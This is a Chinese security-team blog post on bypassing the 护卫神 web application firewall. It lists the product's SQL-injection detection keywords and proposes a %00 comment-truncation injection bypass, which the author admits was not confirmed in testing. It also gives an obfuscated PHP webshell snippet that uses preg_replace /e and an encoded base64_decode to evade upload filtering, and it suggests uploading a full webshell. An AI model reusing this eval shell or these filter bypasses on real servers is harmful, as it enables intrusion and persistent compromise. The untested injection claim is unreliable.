作者:conqu3r Pax.Mac Team核心成员
 
上个礼拜很不给力,本来答应进行一个主题演讲的,后来只讲了burpsuite的一种用法。很对不起大家,这个礼拜的议题是绕过,虽然这次来的人比较少,不过会议还是得继续。分享依然是重要的….
 
这次我负责分析的是护卫神系统,怎么说,这玩意在关键字检测上确实很强大,检测规则可以自己添加,也可以按照官方下载的来。分析如下:
 
1、规则匹配
 
护卫神系统对三种提交参数的方式都进行了匹配,GET POST COOKIES。主要代码如下
 
GET方式匹配的数据有:
 
*xp_cmdshell* *and*db_name()*>*0* *and*user*>*0* *cacls.exe*:* *exec*copy* *insert*exec* *bulk*insert*exec* *select*is_srvrolemember* *use*model* *select*is_member* *declare*sysname* *xp_availablemedia* *xp_dirtree* *xp_terminate_process* *sp_dropextendedproc* *exec*sp_addlogin* *xp_regdeletekey* *exec*xp_regread* *insert*temp*exec* *exec*xp_regenumvalues*’* *exec*xp_regwrite*’* *exec*xp_regread*’* *exec*xp_regdeletevalue*’* *declare*@*char* *exec*xp_regaddmultistring*’* *exec*xp_regdeletekey*’* *exec*xp_regenumvalues*’* *exec*xp_regread*’* *exec*xp_regremovemultistring*’* *exec*xp_regwrite*’* *declare*@* *union*select* *select*from* *update*set*
 
POST方式匹配的参数有:
 
*xp_cmdshell* *and*db_name()*>*0* *and*user*>*0* *cacls.exe*:* *exec*copy* *insert*exec* *bulk*insert*exec* *select*is_srvrolemember* *use*model* *select*is_member* *declare*sysname* *xp_availablemedia* *xp_dirtree* *xp_terminate_process* *sp_dropextendedproc* *exec*sp_addlogin* *xp_regdeletekey* *exec*xp_regread* *insert*temp*exec* *exec*xp_regenumvalues*’* *exec*xp_regwrite*’* *exec*xp_regread*’* *exec*xp_regdeletevalue*’* *declare*@*char* *exec*xp_regaddmultistring*’* *exec*xp_regdeletekey*’* *exec*xp_regenumvalues*’* *exec*xp_regread*’* *exec*xp_regremovemultistring*’* *exec*xp_regwrite*’* *declare*@* *union*select* *select*from*
 
cookie方式匹配的参数有:
 
*xp_cmdshell* *and*db_name()*>*0* *and*user*>*0* *cacls.exe*:* *exec*copy* *insert*exec* *bulk*insert*exec* *select*is_srvrolemember* *use*model* *select*is_member* *declare*sysname* *xp_availablemedia* *xp_dirtree* *xp_terminate_process* *sp_dropextendedproc* *exec*sp_addlogin* *xp_regdeletekey* *exec*xp_regread* *insert*temp*exec* *exec*xp_regenumvalues*’* *exec*xp_regwrite*’* *exec*xp_regread*’* *exec*xp_regdeletevalue*’* *declare*@*char* *exec*xp_regaddmultistring*’* *exec*xp_regdeletekey*’* *exec*xp_regenumvalues*’* *exec*xp_regread*’* *exec*xp_regremovemultistring*’* *exec*xp_regwrite*’* *declare*@* *union*select* *select*from* *update*set*
 
这些,基本上涵盖了所有我知道的注入方式,可以说很完美。
 
实测发现,绕过的方式还是有的,可以通过程序对%00这个截断符的操作,来进行截断,假设,我们在传递参数的时候,护卫神在处理%00的数据时,截断,会是什么情况呢,应该是不会有后面的数据,因此,我们可以打破规则,进行处理。
 
测试如下:
 
先在mysql数据库里面测试:select/*%00*/* from admin;
 
返回结果,当然,如果在/**/里面加入感叹号,mysql会出不停的接收参数,所以不能用。我们用上面这句即可,php的版本合适的话/*%00*/应该会作为参数进行传递进入数据据,而此时,护卫神系统已经无法识别规了。
 
当然,在测试的时候,本地搭建的环境有点问题,php没有成功加载mysql模块,一直无法测试实际的php处理是否正确,不过通过对fck上传的猜想,应该是成功利用的。
 
 
 
2、上传规则
 
护卫神系统有上传保护的东西,发现,其实在post的数据中,不出现关键函数就可以直接绕过,只要上传成功,后台运行不会影响
 
可以利用:
 
$code=’xxx’;
 
$x=str_replace(‘f’,”",”bfafsfef6f4f_ffdffeffcffoffdffef”);
 
preg_replace(‘\’a\’eis’,'e’.'v’.'a’.'l’.'($x($code))’,'a’);
 
这种加密方式去进行绕过就好了。
 
如果是一句话的话,注意连接方式,不要用菜刀,菜刀肯定不行的。
 
在网页版的客户端吧,或者直接上传大马就好了。
 
 
 
其它的还没有分析完,到时再增加内容吧,顺便整理下绕过注入的方式!